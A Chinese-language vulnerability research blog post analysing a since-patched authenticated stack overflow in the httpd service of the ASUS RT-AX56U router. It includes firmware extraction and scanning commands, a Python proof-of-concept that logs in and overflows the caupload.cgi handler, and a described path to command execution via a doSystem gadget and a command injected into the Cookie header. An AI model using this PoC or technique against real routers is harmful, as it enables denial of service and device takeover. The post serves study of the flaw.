ASUS栈溢出漏洞分析

华硕路由器漏洞挖掘

Posted by X1ng on October 14, 2021

该漏洞为华硕RT-ax56u路由器httpd服务中身份验证后的栈溢出漏洞,由于该路由器在身份验证后可以自行开启telnet/ssh,而通过telnet/ssh登陆获取shell后已经是最高权限用户,所以该漏洞几乎没有被恶意利用的可能

本文从挖掘漏洞的角度分析该漏洞,仅供学习用途,有不足之处敬请指出 or2

文章首发ChaMd5安全团队公众号

相关信息

ASUS 2021/10/07更新公告

本文分析的漏洞为其中的栈溢出漏洞,另外经过华硕官方确认还有多个型号路由器存在该漏洞并均已修复

固件下载

华硕提供了非常全面的服务支持,可以在官网下载所有版本的固件

下载漏洞修复前的固件

FW_RT_AX56U_300438644266

实验环境

由于虚拟环境较玄学,使用某鱼不到300rmb就可以买到的二手华硕RT-ax56u路由器,将下载的固件手动上传到设备

获取文件系统

先对文件系统进行解压,该固件中是ubi文件系统,如果使用binwalk直接解压只能得到一个ubi后缀的文件

可以使用ubi_reader工具对固件进行解压,或者安装好ubi_reader后用binwalk就可以直接解压了

binwalk -Me RT-AX56U_3.0.0.4_386_44266-g7f6b0df_cferom_pureubi.w

分析攻击面

可以通过三种方式获取该路由器端口信息,从而分析潜在的攻击面

  1. nmap扫描端口

    扫描端口可以快速了解该路由器潜在的攻击面

     sudo nmap "192.168.50.1" -sU -sT -p0-65535
    

  2. 通过uart串口获取shell后查看开放端口

    拆开路由器查看调试串口

    用SecureCRT连接

    对于该路由器有更加方便的方法,此处不对此方法进行赘述,关于uart串口连接可以参考学习拆机调试路由器

     netstat -aptu
    
  3. 开启telnet/ssh获取shell后查看开放端口

    此处用telnet连接

     netstat -aptu
    

可以看到开启的tcp和udp端口以及相关的服务

在对该路由器进行测试的过程中由于对http协议最熟悉,优先对该固件中实现web功能的httpd文件进行分析,而本文分析的漏洞正是存在于httpd文件中

全局搜索httpd

find . | grep httpd

找到httpd文件

逆向分析httpd服务文件

进行例行检查

为ARM架构小端序的程序,只开启了NX保护,也就是说对于内存破坏漏洞而言不能通过直接写入shellcode并跳转的方式来进行利用

ida进行逆向分析之前查找资料可以找到梅林固件httpd服务的源代码,虽然细微之处有所差别,但是大致框架一致,可以根据源码快速理解其实现逻辑

其处理http报文的主要功能在static void handle_request(void)函数中

static void
handle_request(void)
{
...
	while ( fgets( cur, line + sizeof(line) - cur, conn_fp ) != (char*) 0 )
	{
  	//获取http报文请求头(略)
    ...
  }
  ...
	for (handler = &mime_handlers[0]; handler->pattern; handler++) {
		if (match(handler->pattern, url))
		{
      ...
      if (handler->auth) {
        ...
        else{
          ...
					handler->auth(auth_userid, auth_passwd, auth_realm);
					auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
					if (auth_result != 0)
					{
						if(strcasecmp(method, "post") == 0 && handler->input)   //response post request
							while (cl--) (void)fgetc(conn_fp);

						send_login_page(fromapp, auth_result, NULL, NULL, 0);
						return;
					}
				}
				...
			}else{
				...
			}
			if (handler->input) {
				handler->input(file, conn_fp, cl, boundary);
				...
			}
			...
			if (strcasecmp(method, "head") != 0 && handler->output) {
				handler->output(file, conn_fp);
			}
			break;
		}
	}

在项目的httpd.h文件中可以找到mime_handler结构体定义

struct mime_handler {
	char *pattern;
	char *mime_type;
	char *extra_header;
	void (*input)(char *path, FILE *stream, int len, char *boundary);
	void (*output)(char *path, FILE *stream);
	void (*auth)(char *userid, char *passwd, char *realm);
};

其大致逻辑就是获取完报文请求头后遍历mime_handlers结构体数组,根据用户访问的url找到对应的mime_handler结构体,再判断鉴权以及调用其中的函数指针,这些被调用的函数就是需要重点审计的地方

在固件中也可以找到mime_handlers结构体数组

经过逆向分析,最后在”caupload.cgi”字段的mime_handler结构体中找到了存在漏洞的函数

分析漏洞

根据对handler的input函数调用的语句可以知道各参数的含义

这里只有3个参数,与源码中看到的调用语句不同,是因为ida没有识别出将第四个参数存入寄存器的过程,直接查看汇编代码就能看到对R3的赋值

进入”caupload.cgi”相关结构体的input函数,也能看到其实是有四个参数的

程序运行到这个函数的时候,http报文请求头已经被读取了,此时缓冲区中还有http报文的请求数据

该函数从缓冲区中获取请求数据后保存在大小为0x10000的input3数组中,根据请求数据中的”name”字段进入不同的分支

而漏洞的成因是最后调用的strcat函数,程序会判断”Content-Length”字段判断请求数据的长度(通过第三个参数传递),将fgets从缓冲区获取到的字符串拼接到保存在栈上的变量v34后面,但是由于这里Content-Length的最大限制为0xffff,而该函数的栈帧长度只有0x1440,存在栈溢出漏洞

触发漏洞

逆向报文结构让程序能执行到调用strcat函数的分支,只需要在Content-Disposition: form-data; name="file_ca"; filename=后填充大量字符就可以造成溢出(通过burp抓包得到登录报文格式,在验证漏洞之前需要先进行登录)

poc.py:

#/usr/bin/python3
import requests
import socket
import base64
import sys

def attack(ip, username, passwd):
	login_url = "http://"+ip+"/login.cgi"
	hd = {"Host": "192.168.50.1",
		"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
		"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
		"Accept-Encoding": "gzip, deflate",
		"Referer": "http://192.168.50.1/Main_Login.asp",
		"Content-Type": "application/x-www-form-urlencoded",
		"Content-Length": "161",
		"Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token=lRZ0RCBKRnYW8GBQzCI2wHPzB7F7DYU",
		"Connection": "close",
		"Upgrade-Insecure-Requests": "1"
	}

	auth = username+':'+passwd
	auth = base64.b64encode(auth.encode('utf-8')).decode()
	print('[*] login...')
	da = "group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=index.asp&login_authorization="+auth+"&login_captcha="
	r = requests.post(login_url,headers=hd,data = da, timeout=1000)
	cookie = r.headers['Set-Cookie'][11:-11]

	pd = 'Content-Disposition: form-data; name="file_ca"; filename=aaa\r\n'
	pd += '\r\n'
	pd += 'a'*0x2000

	attack_url = "http://"+ip+"/caupload.cgi"
	hd = {"Host": "192.168.50.1",
		"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
		"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
		"Accept-Encoding": "gzip, deflate",
		"Referer": "http://192.168.50.1/Advanced_VPNClient_Content.asp",
		"Content-Type": "application/x-www-form-urlencoded; boundary=---------------------------90665545817618071411188093951",
		"Content-Length": str(len(pd)),
		"Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token="+cookie,
		"Connection": "close",
		"Upgrade-Insecure-Requests": "1"
	}
	print('[*] Attacking')
	r = requests.post(attack_url,headers=hd,data = pd, timeout=1000)
	
def usage():
	print("Usage: python poc.py routerip username password")

if __name__ == "__main__":
	if len(sys.argv) < 3:
		usage()
	else:
		attack(ip=sys.argv[1],username=sys.argv[2], passwd=sys.argv[3])

发送报文后httpd服务崩溃,但是由于存在守护进程马上就会重新启动服务

漏洞利用

与CTF不同的是,对于这种网络服务,进行溢出后进行ROP泄露地址再ret2libc的方法并不好用

  1. 泄露地址后往往需要返回main函数重新输入溢出数据,但是由于配置等问题可能导致失败
  2. 泄露地址不能通过puts等标准输出函数,而是需要向与用户连接的socket中输出

而其实对于该路由器而言

  1. 栈地址与堆地址都是随机的(如果用qemu模拟环境可能是固定的),不能直接使用libc中的gadget
  2. 开启了NX保护不能使用shellcode
  3. 没有开启pie保护,程序基址还是固定的
  4. 由于路由器为arm架构,程序中固定的地址最高位基本都是\x00

无法使用shellcode,甚至因为strcat函数存在\x00截断,构造ROP链都是问题,难道这里即使存在溢出漏洞也没有办法进行利用吗

其实是有办法的,ret2libc不行,倒是可以考虑ret2text

由于固定地址最高位是\x00,所以在内存中填充返回地址时的最后一个字节为\x00,也就是说有一次跳转地址的机会

在程序中寻找可能可以利用的gedget,直接对systempopendoSystemsystem函数的wraper函数)这样能执行命令的函数进行交叉引用搜索,可以找到一个特殊的函数调用

在ARM架构下获取字符串地址的指令一般是形如ADD R0,PC,R0这样的汇编指令,以PC寄存器作为基址寄存器通过偏移来获得字符串地址,而该函数调用的特殊之处在于,在调用doSystem函数之前,获取参数的指令是LDR R0,[SP,#0x28]

也就是说,如果在跳转到这个gadget之前能控制[SP,#0x28]这个地址上的内容,就能控制doSystem的参数达到执行命令的目的,而这里正好是可控的

对漏洞进行gdbserver远程调试(远程调试的具体步骤就不介绍了,可以参考强网杯2020决赛-cisco-RV110W-漏洞复现中进行远程调试的详细步骤)

gdb-multiarch httpd
target remote 192.168.50.1:1234
b*0x51344
c

运行POC脚本发送http请求,溢出后将返回地址修改为0x5b43c,从断点处单步运行跳转到0x5b43c,查看$sp+0x28的值

x/20wx $sp+0x28

发现[sp+0x28]所指向的地址保存的其实是http报文请求头中Cookie,也就是说只要将命令注入到Cookie中,再溢出控制程序跳转到上文提到的doSystem函数之前,即可执行任意命令

但是为了让程序正常的读取Cookie,Cookie字段不能只是命令,需要在命令后拼接上原本Cookie的内容,并在二者之间用”;”分隔保证命令正确执行

exp就不放了,感兴趣的师傅可以自行调试编写